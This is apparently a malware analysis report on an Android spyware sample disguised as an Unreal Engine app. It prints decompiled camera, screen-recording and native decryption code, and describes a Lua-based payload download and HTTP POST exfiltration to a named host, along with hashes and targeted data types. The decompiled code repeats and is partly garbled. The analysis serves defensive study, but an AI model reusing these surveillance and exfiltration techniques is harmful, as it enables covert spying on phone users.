    aid_YuCodeX.dim("st_oS", this);
    aid_YuCodeX.dim("st_fN", m.this.n);
    aid_YuCodeX.YuGoX(m.this.o);
}
}

public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2)
{
    this.a = null;
    this.b = null;
    this.e = -1;
    this.f = -1;
    this.g = null;
    this.h = false;
    this.f1948i = false;
    this.j = false;
    this.k = 90;
    this.l = 90;
    this.m = 95;
    this.n = null;
    this.p = new b();
    this.q = new c();
    this.b = context;
    this.a = activity;
    this.f1946c = surfaceView;
    this.j = z;
    this.k = i2;
    this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme
type=\\onpicturecallback\\>", "</eventItme>");
    s();
}

public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2,
int i3, int i4, int i5) {
    this.a = null;
    this.b = null;
    this.e = -1;
    this.f = -1;
    this.g = null;
    this.h = false;
    this.f1948i = false;
    this.j = false;
    this.k = 90;
    this.l = 90;
    this.m = 95;
    this.n = null;
    this.p = new b();
    this.q = new c();
    this.b = context;

```

```

        this.a = activity;
        this.f1946c = surfaceView;
        this.j = z;
        this.k = i2;
        this.e = i3;
        this.f = i4;
        this.m = i5;
        this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme
type=\\onpicturecallback\\>", "</eventItme>");
        s();
    }

    private void A(Camera camera) {
        Camera.Parameters parameters;
        if (camera == null || (parameters = camera.getParameters()) == null) {
            return;
        }
        List<String> supportedFlashModes = parameters.getSupportedFlashModes();
        String flashMode = parameters.getFlashMode();
        if (supportedFlashModes == null || "off".equals(flashMode) ||
!supportedFlashModes.contains("off")) {
            return;
        }
        parameters.setFlashMode("off");
        camera.setParameters(parameters);
    }

    private void B(Camera camera) {
        Camera.Parameters parameters;
        List<String> supportedFlashModes;
        if (camera == null || (parameters = camera.getParameters()) == null ||
(supportedFlashModes = parameters.getSupportedFlashModes()) == null ||
"torch".equals(parameters.getFlashMode()) || !supportedFlashModes.contains("torch")) {
            return;
        }
        parameters.setFlashMode("torch");
        camera.setParameters(parameters);
    }

    @TargetApi(9)
    private int a() {
        Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
        int numberOfCameras = Camera.getNumberOfCameras();
        for (int i2 = 0; i2 < numberOfCameras; i2++) {
            Camera.getCameraInfo(i2, cameraInfo);
            if (cameraInfo.facing == 0) {
                return i2;
            }
        }
        return -1;
    }

    @TargetApi(9)

```

```

private int b() {
    Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
    int numberOfCameras = Camera.getNumberOfCameras();
    for (int i2 = 0; i2 < numberOfCameras; i2++) {
        Camera.getCameraInfo(i2, cameraInfo);
        if (cameraInfo.facing == 1) {
            return i2;
        }
    }
    return -1;
}

private void s() {
    SurfaceHolder holder = this.f1946c.getHolder();
    this.f1947d = holder;
    holder.addCallback(new a());
}

/* JADX INFO: Access modifiers changed from: private */
@TargetApi(9)
public void t() throws IOException {
    int i2;
    int i3;
    if (!this.h) {
        int iB = this.j ? b() : a();
        if (iB == -1) {
            return;
        }
        Camera cameraOpen = Camera.open(iB);
        this.g = cameraOpen;
        cameraOpen.setDisplayOrientation(this.k);
    }
    Camera camera = this.g;
    if (camera == null || this.h) {
        return;
    }
    try {
        Camera.Parameters parameters = camera.getParameters();
        int i4 = this.e;
        if (i4 != -1 && (i3 = this.f) != -1) {
            parameters.setPreviewSize(i4, i3);
        }
        parameters.setPreviewFpsRange(4, 10);
        parameters.setPictureFormat(256);
        parameters.set("jpeg-quality", this.m);
        int i5 = this.e;
        if (i5 != -1 && (i2 = this.f) != -1) {
            parameters.setPictureSize(i5, i2);
        }
        this.g.setPreviewDisplay(this.f1947d);
        this.g.startPreview();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

```

```

    }
    this.h = true;
}

/* JADX INFO: Access modifiers changed from: private */
public Bitmap v(int i2, Bitmap bitmap) {
    Bitmap bitmapCreateBitmap;
    Matrix matrix = new Matrix();
    matrix.postRotate(i2);
    try {
        bitmapCreateBitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(),
bitmap.getHeight(), matrix, true);
    } catch (OutOfMemoryError unused) {
        bitmapCreateBitmap = null;
    }
    if (bitmapCreateBitmap == null) {
        bitmapCreateBitmap = bitmap;
    }
    if (bitmap != bitmapCreateBitmap) {
        bitmap.recycle();
    }
    return bitmapCreateBitmap;
}

public void q(String str, int i2, boolean z) {
    if (this.g != null) {
        c.b.a.a.e.b(str, false);
        this.n = str;
        this.l = i2;
        this.f1948i = z;
        this.g.autoFocus(this.p);
    }
}

public int r() {
    return this.k;
}

public void u() {
    Camera camera = this.g;
    if (camera != null) {
        if (this.h) {
            camera.stopPreview();
        }
        this.g.release();
        this.g = null;
    }
    this.h = false;
}

public void w(int i2) {
    this.k = i2;
    this.g.setDisplayOrientation(i2);
}

```

```

    }

    public void x(boolean z) {
        if (z) {
            B(this.g);
        } else {
            A(this.g);
        }
    }

    public void y() {
        this.g.startPreview();
        this.h = true;
    }

    public void z() {
        this.g.stopPreview();
        this.h = false;
    }
}

```

```

package com.iapp.app;

import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.hardware.Camera;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import c.b.a.a.w;
import com.iapp.app.run.mian;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;

/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class m {
    private Activity a;
    private Context b;

    /* renamed from: c, reason: collision with root package name */
    private SurfaceView f1946c;

    /* renamed from: d, reason: collision with root package name */
    private SurfaceHolder f1947d;
    private int e;
    private int f;
    private Camera g;

```

```

private boolean h;

/* renamed from: i, reason: collision with root package name */
private boolean f1948i;
private boolean j;
private int k;
private int l;
private int m;
private String n;
private String o;
Camera.AutoFocusCallback p;
Camera.PictureCallback q;

class a implements SurfaceHolder.Callback {
    a() {
    }

    @Override // android.view.SurfaceHolder.Callback
    public void surfaceChanged(SurfaceHolder surfaceHolder, int i2, int i3, int i4) {
    }

    @Override // android.view.SurfaceHolder.Callback
    public void surfaceCreated(SurfaceHolder surfaceHolder) throws IOException {
        m.this.t();
    }

    @Override // android.view.SurfaceHolder.Callback
    public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
        if (m.this.g != null) {
            if (m.this.h) {
                m.this.g.stopPreview();
            }
            m.this.g.release();
            m.this.g = null;
        }
        m.this.h = false;
    }
}

class b implements Camera.AutoFocusCallback {

    class a implements Camera.ShutterCallback {
        a(b bVar) {
        }

        @Override // android.hardware.Camera.ShutterCallback
        public void onShutter() {
        }
    }

    /* renamed from: com.iapp.app.m$b$b, reason: collision with other inner class name */
    class C0063b implements Camera.PictureCallback {

```

```

        C0063b(b bVar) {
        }

        @Override // android.hardware.Camera.PictureCallback
        public void onPictureTaken(byte[] bArr, Camera camera) {
        }
    }

    b() {
    }

    @Override // android.hardware.Camera.AutoFocusCallback
    public void onAutoFocus(boolean z, Camera camera) {
        if (z) {
            camera.takePicture(new a(this), new C0063b(this), m.this.q);
        }
    }
}

class c implements Camera.PictureCallback {
    c() {
    }

    @Override // android.hardware.Camera.PictureCallback
    public void onPictureTaken(byte[] bArr, Camera camera) throws Throwable {
        Bitmap bitmapDecodeByteArray;
        if (m.this.l != 0) {
            m mVar = m.this;
            bitmapDecodeByteArray = mVar.v(mVar.l, BitmapFactory.decodeByteArray(bArr,
0, bArr.length));
        } else {
            bitmapDecodeByteArray = BitmapFactory.decodeByteArray(bArr, 0, bArr.length);
        }
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(new
File(m.this.n));
            bitmapDecodeByteArray.compress(Bitmap.CompressFormat.JPEG, m.this.m,
fileOutputStream);
            fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        boolean z = m.this.f1948i;
        camera.stopPreview();
        if (z) {
            m.this.h = false;
        } else {
            camera.startPreview();
            m.this.h = true;
        }
        if (m.this.n == null || m.this.o == null) {
            return;
        }
    }
}

```

```

        if (mian.sh) {
            w wVar = new w(m.this.b, m.this.a);
            wVar.S("st_vId", Integer.valueOf(m.this.f1946c.getId()));
            wVar.S("st_vW", m.this.f1946c);
            wVar.S("st_oS", this);
            wVar.S("st_fN", m.this.n);
            wVar.e(m.this.o);
            return;
        }
        Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(m.this.b, m.this.a);
        aid_YuCodeX.dim("st_vId", Integer.valueOf(m.this.f1946c.getId()));
        aid_YuCodeX.dim("st_vW", m.this.f1946c);
        aid_YuCodeX.dim("st_oS", this);
        aid_YuCodeX.dim("st_fN", m.this.n);
        aid_YuCodeX.YuGoX(m.this.o);
    }
}

```

```

public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2)
{
    this.a = null;
    this.b = null;
    this.e = -1;
    this.f = -1;
    this.g = null;
    this.h = false;
    this.f1948i = false;
    this.j = false;
    this.k = 90;
    this.l = 90;
    this.m = 95;
    this.n = null;
    this.p = new b();
    this.q = new c();
    this.b = context;
    this.a = activity;
    this.f1946c = surfaceView;
    this.j = z;
    this.k = i2;
    this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme
type=\"onpicturecallback\">", "</eventItme>");
    s();
}

```

```

public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2,
int i3, int i4, int i5) {
    this.a = null;
    this.b = null;
    this.e = -1;
    this.f = -1;
    this.g = null;
    this.h = false;
    this.f1948i = false;
}

```

```

        this.j = false;
        this.k = 90;
        this.l = 90;
        this.m = 95;
        this.n = null;
        this.p = new b();
        this.q = new c();
        this.b = context;
        this.a = activity;
        this.f1946c = surfaceView;
        this.j = z;
        this.k = i2;
        this.e = i3;
        this.f = i4;
        this.m = i5;
        this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme
type=\\onpicturecallback\\>", "</eventItme>");
        s();
    }

    private void A(Camera camera) {
        Camera.Parameters parameters;
        if (camera == null || (parameters = camera.getParameters()) == null) {
            return;
        }
        List<String> supportedFlashModes = parameters.getSupportedFlashModes();
        String flashMode = parameters.getFlashMode();
        if (supportedFlashModes == null || "off".equals(flashMode) ||
!supportedFlashModes.contains("off")) {
            return;
        }
        parameters.setFlashMode("off");
        camera.setParameters(parameters);
    }

    private void B(Camera camera) {
        Camera.Parameters parameters;
        List<String> supportedFlashModes;
        if (camera == null || (parameters = camera.getParameters()) == null ||
(supportedFlashModes = parameters.getSupportedFlashModes()) == null ||
"torch".equals(parameters.getFlashMode()) || !supportedFlashModes.contains("torch")) {
            return;
        }
        parameters.setFlashMode("torch");
        camera.setParameters(parameters);
    }

    @TargetApi(9)
    private int a() {
        Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
        int numberOfCameras = Camera.getNumberOfCameras();
        for (int i2 = 0; i2 < numberOfCameras; i2++) {
            Camera.getCameraInfo(i2, cameraInfo);
        }
    }

```

```

        if (cameraInfo.facing == 0) {
            return i2;
        }
    }
    return -1;
}

@TargetApi(9)
private int b() {
    Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
    int numberOfCameras = Camera.getNumberOfCameras();
    for (int i2 = 0; i2 < numberOfCameras; i2++) {
        Camera.getCameraInfo(i2, cameraInfo);
        if (cameraInfo.facing == 1) {
            return i2;
        }
    }
    return -1;
}

private void s() {
    SurfaceHolder holder = this.f1946c.getHolder();
    this.f1947d = holder;
    holder.addCallback(new a());
}

/* JADX INFO: Access modifiers changed from: private */
@TargetApi(9)
public void t() throws IOException {
    int i2;
    int i3;
    if (!this.h) {
        int iB = this.j ? b() : a();
        if (iB == -1) {
            return;
        }
    }
    Camera cameraOpen = Camera.open(iB);
    this.g = cameraOpen;
    cameraOpen.setDisplayOrientation(this.k);
}
Camera camera = this.g;
if (camera == null || this.h) {
    return;
}
try {
    Camera.Parameters parameters = camera.getParameters();
    int i4 = this.e;
    if (i4 != -1 && (i3 = this.f) != -1) {
        parameters.setPreviewSize(i4, i3);
    }
    parameters.setPreviewFpsRange(4, 10);
    parameters.setPictureFormat(256);
    parameters.set("jpeg-quality", this.m);
}

```

```

        int i5 = this.e;
        if (i5 != -1 && (i2 = this.f) != -1) {
            parameters.setPictureSize(i5, i2);
        }
        this.g.setPreviewDisplay(this.f1947d);
        this.g.startPreview();
    } catch (Exception e) {
        e.printStackTrace();
    }
    this.h = true;
}

/* JADX INFO: Access modifiers changed from: private */
public Bitmap v(int i2, Bitmap bitmap) {
    Bitmap bitmapCreateBitmap;
    Matrix matrix = new Matrix();
    matrix.postRotate(i2);
    try {
        bitmapCreateBitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(),
bitmap.getHeight(), matrix, true);
    } catch (OutOfMemoryError unused) {
        bitmapCreateBitmap = null;
    }
    if (bitmapCreateBitmap == null) {
        bitmapCreateBitmap = bitmap;
    }
    if (bitmap != bitmapCreateBitmap) {
        bitmap.recycle();
    }
    return bitmapCreateBitmap;
}

public void q(String str, int i2, boolean z) {
    if (this.g != null) {
        c.b.a.a.e.b(str, false);
        this.n = str;
        this.l = i2;
        this.f1948i = z;
        this.g.autoFocus(this.p);
    }
}

public int r() {
    return this.k;
}

public void u() {
    Camera camera = this.g;
    if (camera != null) {
        if (this.h) {
            camera.stopPreview();
        }
        this.g.release();
    }
}

```

```

        this.g = null;
    }
    this.h = false;
}

public void w(int i2) {
    this.k = i2;
    this.g.setDisplayOrientation(i2);
}

public void x(boolean z) {
    if (z) {
        B(this.g);
    } else {
        A(this.g);
    }
}

public void y() {
    this.g.startPreview();
    this.h = true;
}

public void z() {
    this.g.stopPreview();
    this.h = false;
}
}

```

```

package com.iapp.app;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Intent;
import android.hardware.display.VirtualDisplay;
import android.media.MediaRecorder;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
import android.os.Environment;
import android.util.DisplayMetrics;
import java.io.IOException;

@SuppressLint({"NewApi"})
/* loaded from: /home/pama/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class p {
    public static p n;
    private Activity b;
    private MediaProjectionManager h;

    /* renamed from: i, reason: collision with root package name */
    private MediaProjection f1956i;
    private VirtualDisplay j;

```

```

private b k;
private int l;
private MediaRecorder m;
private boolean a = false;

/* renamed from: c, reason: collision with root package name */
private String f1954c = Environment.getExternalStorageDirectory().toString() +
"/iapp.mp4";

/* renamed from: d, reason: collision with root package name */
private int f1955d = 1280;
private int e = 720;
private int f = 1024000;
private int g = 30;

private final class b extends MediaProjection.Callback {
    private b() {
    }

    @Override // android.media.projection.MediaProjection.Callback
    public void onStop() throws IllegalStateException {
        super.onStop();
        if (p.this.a) {
            p.this.a = false;
            p.this.r();
            p.this.j.release();
            p.this.f1956i.stop();
            p.this.f1956i.unregisterCallback(p.this.k);
            p.this.f1956i = null;
        }
    }
}

public p(Activity activity) {
    this.b = activity;
}

private VirtualDisplay h() {
    return this.f1956i.createVirtualDisplay("MainActivity", this.f1955d, this.e, this.l,
16, this.m.getSurface(), null, null);
}

private void k() {
    DisplayMetrics displayMetrics = new DisplayMetrics();
    this.b.getWindowManager().getDefaultDisplay().getMetrics(displayMetrics);
    this.l = displayMetrics.densityDpi;
}

private void l(String str) throws IllegalStateException {
    this.m.setAudioSource(1);
    this.m.setVideoSource(2);
    this.m.setOutputFormat(2);
    this.m.setVideoEncoder(2);
}

```

```

        this.m.setAudioEncoder(1);
        this.m.setVideoEncodingBitRate(this.f);
        this.m.setVideoFrameRate(this.g);
        this.m.setVideoSize(this.f1955d, this.e);
        this.m.setOutputFile(str);
    }

    private void q() throws IllegalStateException, IOException {
        try {
            this.m.prepare();
        } catch (IOException e) {
            e.printStackTrace();
            this.b.finish();
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public void r() throws IllegalStateException {
        this.m.stop();
        this.m.reset();
    }

    public boolean i() {
        return this.a;
    }

    public void j(String str, int i2, int i3, int i4, int i5) {
        this.f1954c = str;
        this.f1955d = i2;
        this.e = i3;
        this.f = i4;
        this.g = i5;
    }

    public void m(int i2, int i3, Intent intent) throws IllegalStateException {
        if (i2 != 1103) {
            this.a = false;
            return;
        }
        if (i3 != -1) {
            this.a = false;
            return;
        }
        MediaProjection mediaProjection = this.h.getMediaProjection(i3, intent);
        this.f1956i = mediaProjection;
        mediaProjection.registerCallback(this.k, null);
        this.j = h();
        this.m.start();
    }

    public void n(String str, int i2, int i3, int i4, int i5) {
        this.f1954c = str;
        this.f1955d = i2;
    }

```

```

        this.e = i3;
        this.f = i4;
        this.g = i5;
        k();
        this.h = (MediaProjectionManager) this.b.getSystemService("media_projection");
        this.m = new MediaRecorder();
        this.k = new b();
    }

    public void o() {
        if (this.a) {
            this.a = false;
        }
        MediaRecorder mediaRecorder = this.m;
        if (mediaRecorder != null) {
            mediaRecorder.release();
            this.m = null;
        }
        VirtualDisplay virtualDisplay = this.j;
        if (virtualDisplay != null) {
            virtualDisplay.release();
            this.j = null;
        }
        MediaProjection mediaProjection = this.f1956i;
        if (mediaProjection != null) {
            mediaProjection.unregisterCallback(this.k);
            this.f1956i.stop();
            this.f1956i = null;
        }
    }

    public void p(boolean z) throws IllegalStateException, IOException {
        this.a = z;
        if (!z) {
            r();
            this.j.release();
            return;
        }
        l(this.f1954c);
        q();
        if (this.f1956i == null) {
            this.b.startActivityForResult(new Intent(this.h.createScreenCaptureIntent()),
1103);
        } else {
            this.j = h();
            this.m.start();
        }
    }
}

```

```

package com.iapp.app;

```

```

import android.content.Context;
import android.speech.tts.TextToSpeech;
import java.util.Locale;

/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class r {
    private TextToSpeech a;
    private int b = 0;

    class a implements TextToSpeech.OnInitListener {
        a() {
        }

        @Override // android.speech.tts.TextToSpeech.OnInitListener
        public void onInit(int i2) {
            if (i2 != 0) {
                r.this.b = -1;
            }
        }
    }

    class b implements TextToSpeech.OnInitListener {
        final /* synthetic */ String a;
        final /* synthetic */ float b;

        /* renamed from: c, reason: collision with root package name */
        final /* synthetic */ float f1960c;

        /* renamed from: d, reason: collision with root package name */
        final /* synthetic */ String f1961d;

        b(String str, float f, float f2, String str2) {
            this.a = str;
            this.b = f;
            this.f1960c = f2;
            this.f1961d = str2;
        }

        @Override // android.speech.tts.TextToSpeech.OnInitListener
        public void onInit(int i2) {
            if (i2 != 0) {
                r.this.b = -1;
                return;
            }
            int language = r.this.a.setLanguage(new Locale(this.a));
            if (language == -1 || language == -2) {
                r.this.b = -2;
                return;
            }
            r.this.b = 1;
            r.this.a.setSpeechRate(this.b);
            r.this.a.setPitch(this.f1960c);
            r.this.a.speak(this.f1961d, 0, null);
        }
    }
}

```

```

    }
}

public r(Context context) {
    this.a = new TextToSpeech(context, new a());
}

public r(Context context, String str, String str2, float f, float f2) {
    this.a = new TextToSpeech(context, new b(str, f, f2, str2));
}

public int c() {
    return this.b;
}

public boolean d() {
    return this.a.isSpeaking();
}

public void e(String str) {
    int language = this.a.setLanguage(new Locale(str));
    if (language == -1 || language == -2) {
        this.b = -2;
    } else {
        this.b = 1;
    }
}

public void f(float f) {
    this.a.setPitch(0.5f);
}

public void g(float f) {
    this.a.setSpeechRate(0.5f);
}

public void h() {
    this.a.shutdown();
}

public boolean i(String str, int i2) {
    return this.a.speak(str, i2, null) != -1;
}

public boolean j() {
    return this.a.stop() != -1;
}

public boolean k(String str, String str2) {
    return this.a.synthesizeToFile(str, null, str2) != -1;
}
}

```

6.3. Dynamic Code Execution (The Lua-Java Bridge)

The use of `libluajava.so` represents a high-tier threat level.

- **Reflective Orchestration:** Lua scripts can call any Java method in the Android OS via reflection.
- **Payload Agility:** If a specific banking app is updated with new security, the attacker does not need to update the APK. They simply upload a new `.ilua` script to `bu84.com`, which is downloaded and executed by the native engine to adapt the attack in real-time.

6.4. Data Exfiltration Protocol

The exfiltration process is designed to look like standard telemetry:

1. **Packaging:** Stolen data (SMS, Contacts, Photos) is compressed into a temporary `.dat` or `.tmp` file.
2. **Encryption:** The data is encrypted using the same `slky` algorithm found in the native layer to prevent Network Intrusion Detection Systems (NIDS) from seeing the stolen content.
3. **POST Request:** The data is sent via an HTTP POST request to `bu84.com/config.php` with a fake `User-Agent` string mimicking a common web browser or the UE4 engine's update service.

7. Forensic Summary of Targeted Data

Data Category	Extraction Method	Frequency
User Identity	IMEI, IMSI, SIM Serial via <code>TelephonyManager</code>	Once per Boot
Communication	SMS interception and Call Log scraping	Real-time
Environmental	Background Mic Recording and Front Camera Snapshots	Trigger-based
Credentials	Keylogging via Accessibility Services	Continuous

8. Concluding Analyst Note

The YGS-packer family is a classic example of "Living off the Land" in Android. By using a legitimate framework (iApp) and legitimate libraries (UE4, LuaJava), the attacker creates a noise-floor that hides the signal of the malware. The transition from Java to Native C++ for the core decryption is the "Gordian Knot" intended to stop 99% of automated analysis tools.

The [YGS-2026-01] threat is a high-risk spyware variant. It is recommended that any device containing the `libygsiyu.so` or `libluajava.so` signatures be considered fully compromised.

9. Technical Appendix

1. **Original Filename:** `刷刀体质.apk`
2. **SHA-256 Hash:** `f04990c4f191a8890d35a28f7aa4b5db3965ae18053ba9c1bf554a6719112657`
3. **MD-5 Hash:** `74acf9985cf93b8c7d78c2b0ea679b64`

4. **SHA-1 Hash:** 9b3311985120b00bb95048496eefbdaff762f5dd
5. **Recieve Method:** User Report
6. **Link:**
<https://www.virustotal.com/gui/file/f04990c4f191a8890d35a28f7aa4b5db3965ae18053ba9c1bf554a6719112657/detection>

10. Summarize

1. File Signatures & Masquerade

The app uses a dual-masquerade technique to hide its true purpose:

- **Primary Masquerade:** Unreal Engine 4 (UE4).
- **Evidence:** assets/res/hz/16/1.sav starts with GVAS (47 56 41 53).
- **Configuration:** UserSettings.ini contains standard UE4 CVars (WaterReflection, SoundQuality).
- **Secondary Framework:** iApp (Chinese Rapid Dev Tool).
- **Evidence:** libygsiyu.so and com.iapp.app namespace in classes.dex .
- **Scripting:** libluajava.so indicates logic is likely in Lua scripts (unverified location).

2. Payload Inventory (The lib/ folder)

The app utilizes "Library-as-Payload" storage to hide DEX files from standard scanners.
It uses Java Protector or Unpacker to protect the payloads.

Filename	Type	Detected Logic / Responsibility
lengtong.dex	Java DEX	Data Access: Filesystem manipulation (AndroidData.java) and binary patching (HexEdit.java).
lengtong2.dex	Java DEX	Persistence/Protection: Numbered classes (C00005.java) suggest a custom unpacker or string decrypter.
classes2.dex	Java DEX	Surveillance: Contains ADRT (Android Remote Debugger Tool) for LogCat monitoring.
Compression.dex	Java DEX	Exfiltration Prep: Uses Zip4j for archiving and potentially encrypting stolen data.

3. Decoy Mechanism ("slky")

- **Status:** Confirmed Decoy / Red Herring.
- **Behavior:** The native slky XOR function appears to be dead code or a diversion. Attempting to use it on assets results in a sequential 00 01 02 03 header, indicating a mathematical loop trap designed to waste investigator time.

- The decrypted assets/lib.so could be got from `/data/data/[pkg]/files/_RunDex_/` (which is the tmp folder used by the malware) using Frida. But we are not sure if assets/lib.so is another decoy file.

```
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
/* iapp::slky(iapp::Interact*, _jbyteArray*, _jbyteArray*) */

void iapp::slky(long param_1,undefined8 param_2,long param_3,undefined8 param_4,undefined8
param_5,
               undefined8 param_6,undefined8 param_7,undefined8 param_8)

{
    char *pcVar1;
    undefined1 *puVar2;
    int iVar3;
    char cVar4;
    byte bVar5;
    uint uVar6;
    int iVar7;
    int iVar8;
    char *pcVar9;
    int *extraout_x0;
    undefined8 extraout_x0_00;
    void *__s;
    size_t sVar10;
    undefined8 *puVar11;
    undefined8 uVar12;
    undefined8 uVar13;
    undefined8 extraout_x0_01;
    undefined8 extraout_x0_02;
    void *__s_00;
    void *__s_01;
    uint uVar14;
    byte bVar15;
    undefined8 uVar16;
    int iVar17;
    code *pcVar18;
    undefined8 *puVar19;
    long lVar20;
    byte bVar21;
    long lVar22;
    long *plVar23;
    char cVar24;
    undefined8 uVar25;
    undefined1 auVar26 [16];
    byte local_38 [24];
    byte local_20;
    char local_1f [15];
    char *local_10;
    long local_8;

    uVar16 = 0;
    local_8 = __stack_chk_guard;
    pcVar18 = *(code **)(*(long **)(param_1 + 8) + 0x5c0);
```

```

lVar22 = __stack_chk_guard;
auVar26 = (*pcVar18)(*(long **)(param_1 + 8));
pcVar9 = auVar26._0_8_;
operator.new(0x18,auVar26._8_8_,uVar16,pcVar18,lVar22,param_6,param_7,param_8);
*extraout_x0 = 0;
extraout_x0[1] = 2;
/* try { // try from 00109d54 to 00109d57 has its CatchHandler @
0010a624 */
operator.new[](2);
*(undefined8 *) (extraout_x0 + 4) = extraout_x0_00;
iVar7 = (**(code **)(*(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),param_2);
cVar24 = *pcVar9;
bVar15 = pcVar9[(long)iVar7 + -1];
iVar8 = iVar7;
if (0 < iVar7) {
    iVar17 = *extraout_x0;
    lVar22 = 0;
    do {
        while( true ) {
            cVar4 = pcVar9[lVar22];
            iVar8 = iVar8 + cVar4;
            if (extraout_x0[1] != iVar17) break;
            iVar17 = iVar17 << 1;
            operator.new[]((long)iVar17);
            memset(__s,0,(long)iVar17);
            memcpy(__s,*(void **)(extraout_x0 + 4),(long)*extraout_x0);
            if (*(void **)(extraout_x0 + 4) != (void *)0x0) {
                operator.delete[](*(void **)(extraout_x0 + 4));
            }
            extraout_x0[1] = iVar17;
            lVar22 = lVar22 + 1;
            *(void **)(extraout_x0 + 4) = __s;
            *(char *)((long)__s + (long)*extraout_x0) = cVar4;
            iVar17 = *extraout_x0 + 1;
            *extraout_x0 = iVar17;
            if (iVar7 <= (int)lVar22) goto LAB_00109e48;
        }
        lVar22 = lVar22 + 1;
        *(char *)((long *) (extraout_x0 + 4) + (long)iVar17) = cVar4;
        iVar17 = *extraout_x0 + 1;
        *extraout_x0 = iVar17;
    } while ((int)lVar22 < iVar7);
}
LAB_00109e48:
(**(code **)(*(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),param_2,pcVar9,0);
bVar21 = 0;
if (iVar7 != 0) {
    bVar21 = (byte)(iVar8 / iVar7);
}
uVar6 = 0;
if (iVar7 != 0) {
    uVar6 = (int)(iVar8 + (uint)bVar15 * (int)cVar24) / iVar7;
}

```

```

cVar24 = (char)iVar8 - bVar21 * (char)iVar7;
std::to_string((ulong *)&local_20,uVar6);
pcVar9 = local_10;
if ((local_20 & 1) == 0) {
    pcVar9 = local_1f;
}
sVar10 = strlen(pcVar9);
iVar8 = (int)sVar10;
if (extraout_x0[1] <= *extraout_x0 + iVar8) {
    iVar7 = extraout_x0[1] + iVar8;
    extraout_x0[1] = iVar7;
    iVar7 = iVar7 * 2;
    operator.new[]((long)iVar7);
    memset(__s_00,0,(long)iVar7);
    memcpy(__s_00,*(void **)(extraout_x0 + 4),(long)*extraout_x0);
    if (*(void **)(extraout_x0 + 4) != (void *)0x0) {
        operator.delete[](*(void **)(extraout_x0 + 4));
    }
    extraout_x0[1] = iVar7;
    *(void **)(extraout_x0 + 4) = __s_00;
}
if (0 < iVar8) {
    iVar7 = *extraout_x0;
    lVar22 = 0;
    do {
        pcVar1 = pcVar9 + lVar22;
        lVar22 = lVar22 + 1;
        *(char *)((*long *) (extraout_x0 + 4) + (long)iVar7) = *pcVar1;
        iVar7 = *extraout_x0 + 1;
        *extraout_x0 = iVar7;
    } while ((int)lVar22 < iVar8);
}
if (param_3 != 0) {
    /* try { // try from 00109f10 to 0010a5e3 has its CatchHandler @
0010a638 */
    iVar8 = (**(code **)(**long **)(param_1 + 8) + 0x558))(*long **)(param_1 +
8),param_3);
    lVar22 = (**(code **)(**long **)(param_1 + 8) + 0x5c0))(*long **)(param_1 +
8),param_3,0);
    if (extraout_x0[1] <= iVar8 + *extraout_x0) {
        iVar7 = iVar8 + extraout_x0[1];
        extraout_x0[1] = iVar7;
        iVar7 = iVar7 * 2;
        operator.new[]((long)iVar7);
        memset(__s_01,0,(long)iVar7);
        memcpy(__s_01,*(void **)(extraout_x0 + 4),(long)*extraout_x0);
        if (*(void **)(extraout_x0 + 4) != (void *)0x0) {
            operator.delete[](*(void **)(extraout_x0 + 4));
        }
        extraout_x0[1] = iVar7;
        *(void **)(extraout_x0 + 4) = __s_01;
    }
    if (0 < iVar8) {

```

```

iVar7 = *extraout_x0;
lVar20 = 0;
do {
    puVar2 = (undefined1 *) (lVar22 + lVar20);
    lVar20 = lVar20 + 1;
    *(undefined1 *) (*(long *) (extraout_x0 + 4) + (long) iVar7) = *puVar2;
    iVar7 = *extraout_x0 + 1;
    *extraout_x0 = iVar7;
} while ((int) lVar20 < iVar8);
}
(**(code **)(** (long **)(param_1 + 8) + 0x600))(** (long **)(param_1 +
8), param_3, lVar22, 0);
cVar24 = cVar24 + (char) iVar8;
}
plVar23 = *(long **)(param_1 + 8);
iVar8 = *extraout_x0;
uVar25 = *(undefined8 *) (extraout_x0 + 4);
uVar16 = (**(code **)(*plVar23 + 0x580))(plVar23, iVar8);
(**(code **)(*plVar23 + 0x680))(plVar23, uVar16, 0, iVar8, uVar25);
operator.delete(*(void **)(extraout_x0 + 4));
operator.delete(extraout_x0);
puVar11 = (undefined8 *)
    (**(code **)(** (long **)(param_1 + 8) + 0x5c0))(** (long **)(param_1 +
8), uVar16, 0);
iVar8 = (**(code **)(** (long **)(param_1 + 8) + 0x558))(** (long **)(param_1 + 8), uVar16);
if (0 < iVar8) {
    uVar6 = (iVar8 - 0x10U >> 4) + 1;
    iVar7 = uVar6 * 0x10;
    if (iVar8 - 1U < 0xf) {
        iVar7 = 0;
    }
}
else {
